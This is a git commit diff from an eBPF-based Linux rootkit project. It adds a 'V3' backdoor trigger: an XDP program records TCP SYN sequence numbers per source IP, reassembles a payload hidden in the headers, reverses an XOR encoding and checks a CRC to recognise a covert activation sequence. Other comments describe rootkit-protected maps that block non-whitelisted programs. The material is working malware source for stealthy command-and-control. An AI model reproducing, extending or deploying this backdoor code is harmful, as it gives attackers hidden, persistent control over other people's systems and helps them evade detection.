Completed new backdoor packet stream parsing for V3 backdoor using hidden payloads in TCP and IP header positions

This commit is contained in:
h3xduck
2022-05-09 16:36:39 -04:00
parent ba19537ec1
commit 073e1d3129
10 changed files with 2591 additions and 1814 deletions

View File

@@ -2,6 +2,7 @@
#define __BPF_MAP_DEFS_H
#include "headervmlinux.h"
#include "../../../common/c&c.h"
//Tasks and comms
#define TASK_COMM_LEN 16
@@ -32,6 +33,12 @@ struct exec_var_hijack_active_data{//Map value
char argv0[EXEC_VAR_HIJACK_ACTIVE_DATA_ARGV0_LEN];
};
//Map value, contains 3 last packets from an specific IP (the key)
struct backdoor_packet_log_data{
int last_packet_modified;
struct trigger_t trigger_array[3];
};
struct fs_priv_open{ //Map
__uint(type, BPF_MAP_TYPE_HASH);
@@ -47,6 +54,14 @@ struct exec_var_priv_hijack_active{ //Map
__type(value, struct exec_var_hijack_active_data);
} exec_var_hijack_active SEC(".maps");
//Map to store log of packets received seeking to find a V3 backdoor trigger
struct backdoor_priv_packet_log{
__uint(type, BPF_MAP_TYPE_HASH);
__uint(max_entries, 1024);
__type(key, __u32); //Source IPv4 of packet
__type(value, struct backdoor_packet_log_data);
} backdoor_packet_log SEC(".maps");
/*PROTECTED MAPS*/
//Any attempt to access these maps will be blocked by the rootkit if the program is not whitelisted

View File

@@ -9,6 +9,7 @@
#include "../data/ring_buffer.h"
#include "../../common/c&c.h"
#include "../bpf/defs.h"
static __always_inline int manage_backdoor_trigger_v1(char* payload, __u32 payload_size){
char section[CC_TRIGGER_SYN_PACKET_SECTION_LEN];
@@ -132,9 +133,99 @@ backdoor_finish:
return XDP_DROP;
}
static __always_inline int manage_backdoor_trigger_v3(struct backdoor_packet_log_data b_data){
int last_received = b_data.last_packet_modified;
int first_packet;
if(last_received>0&&last_received<3){
first_packet = last_received-1;
}else{
first_packet = (CC_STREAM_TRIGGER_PAYLOAD_LEN / CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES) -1;
}
//The following routine (not just the next check) is necessarily dirty in terms of programming,
//but the ebpf verifier strongly dislikes MOD operations (check report, screenshot)
char payload[CC_STREAM_TRIGGER_PAYLOAD_LEN] = {0};
if(first_packet == 1){
for(int ii=first_packet; ii<3; ii++){
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
}
for(int ii=0; ii<first_packet; ii++){
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
}
}else if(first_packet == 2){
for(int ii=first_packet; ii<3; ii++){
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
}
for(int ii=0; ii<first_packet; ii++){
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
}
}else if(first_packet == 3){
for(int ii=first_packet; ii<3; ii++){
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
}
for(int ii=0; ii<first_packet; ii++){
__u32 seq_num = b_data.trigger_array[ii].seq_raw;
__builtin_memcpy(payload+(CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES*ii), &(seq_num), sizeof(__u32));
}
}
bpf_printk("Payload before XOR: ");
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
bpf_printk("%x", payload[ii]);
}
bpf_printk("\n");
//Now that we have the possible complete stream, let's search for the secret backdoor combination in it
//First undo running XOR
for(int ii=CC_STREAM_TRIGGER_PAYLOAD_LEN-1; ii>0; ii--){
char xor_res = payload[ii-1] ^ payload[ii];
__builtin_memcpy(payload+ii, (char*)&(xor_res), 0x01);
}
bpf_printk("Payload after XOR: ");
for(int ii=0; ii<CC_STREAM_TRIGGER_PAYLOAD_LEN; ii++){
bpf_printk("%x", payload[ii]);
}
bpf_printk("\n");
//Now compute CRC
__u8 x;
__u16 crc = 0xFFFF;
__u8 length = 0x0A;
char *payload_p = payload;
while (length--){
x = crc >> 8 ^ *payload_p++;
x ^= x>>4;
crc = (crc << 8) ^ ((__u16)(x << 12)) ^ ((__u16)(x <<5)) ^ ((__u16)x);
}
//Check CRC with the one received
char crc_char1, crc_char2;
__builtin_memcpy(&crc_char1, (char*)&(crc), sizeof(__u8));
__builtin_memcpy(&crc_char2, (char*)&(crc)+1, sizeof(__u8));
if(crc_char1 != payload[0x0A]){
bpf_printk("Failed backdoor V3 check 1: %x vs %x\n", crc_char1, payload[0x0A]);
return XDP_PASS;
}
if(crc_char2 != payload[0x0B]){
bpf_printk("Failed backdoor V3 check 2: %x vs %x\n", crc_char2, payload[0x0B]);
return XDP_PASS;
}
bpf_printk("Completed backdoor trigger v3, b_data position: %i\n", b_data.last_packet_modified);
return XDP_DROP;
}
#endif

View File

@@ -106,9 +106,54 @@ int xdp_receive(struct xdp_md *ctx){
}
return manage_backdoor_trigger_v1(payload, payload_size);
}
//Check for rootkit backdoor trigger V3 - stream of SYN packets with hidden payload
if(tcp->syn == 1){
//SYN packet detected, store in bpf map.
//When a full stream comes, then it will be analyzed and search whether it is a valid sequence
//Known issue, ignored dliberately: IP sending packets to different ports classified as same communication
//This way we may include some port-knocking like mechanism.
bpf_printk("SYN detected");
__u32 ipvalue = ip->saddr;
struct backdoor_packet_log_data *b_data = (struct backdoor_packet_log_data*) bpf_map_lookup_elem(&backdoor_packet_log, &ipvalue);
struct backdoor_packet_log_data b_new_data = {0};
if (b_data != NULL ){
//Means first time this IP sends a packet to us
//It is always between the below range, this is just to avoid verifier complains
if(b_data->last_packet_modified>-1 && b_data->last_packet_modified<CC_STREAM_TRIGGER_PAYLOAD_LEN/CC_STREAM_TRIGGER_PACKET_CAPACITY_BYTES){
b_new_data.last_packet_modified = b_data->last_packet_modified;
//Necessary complicated MOD, the verifier rejects it otherwise
b_new_data.last_packet_modified++;
if(b_new_data.last_packet_modified>=3){
b_new_data.last_packet_modified = 0;
}
b_new_data.trigger_array[0] = b_data->trigger_array[0];
b_new_data.trigger_array[1] = b_data->trigger_array[1];
b_new_data.trigger_array[2] = b_data->trigger_array[2];
//bpf_probe_read(&b_new_data, sizeof(struct backdoor_packet_log_data), b_data);
int last_modified = b_new_data.last_packet_modified;
//Yes, this is really needed to be done this way. Intervals are no sufficient
if(last_modified != 0 && last_modified != 1 && last_modified != 2){
return XDP_PASS;
}
b_new_data.trigger_array[last_modified].seq_raw = tcp->seq;
bpf_map_update_elem(&backdoor_packet_log, &ipvalue, &b_new_data, BPF_ANY);
//If it was not the first packet received, this may be the end of the backdoor sequence (even if previous packets
//where for other purpose, we must still check it)
return manage_backdoor_trigger_v3(b_new_data);
}
}else{
//Done this way to avoid verifier complains
int num = 0;
//bpf_probe_read((void*)&(b_new_data->last_packet_modified), sizeof(__u32), (void*)&num);
//bpf_probe_read(&(b_new_data->trigger_array[0].seq_raw), sizeof(__u32), &(tcp->seq));
b_new_data.last_packet_modified = 0;
b_new_data.trigger_array[0].seq_raw = tcp->seq;
bpf_map_update_elem(&backdoor_packet_log, &ipvalue, &b_new_data, BPF_ANY);
}
}
//Check for the packet modification PoC
// We use "size - 1" to account for the final '\0'
else if (payload_size != sizeof(SECRET_PACKET_PAYLOAD)-1) {
if (payload_size != sizeof(SECRET_PACKET_PAYLOAD)-1) {
bpf_printk("F, PS:%i, P:%i, DE:%i\n", payload_size, payload, data_end);
return XDP_PASS;
}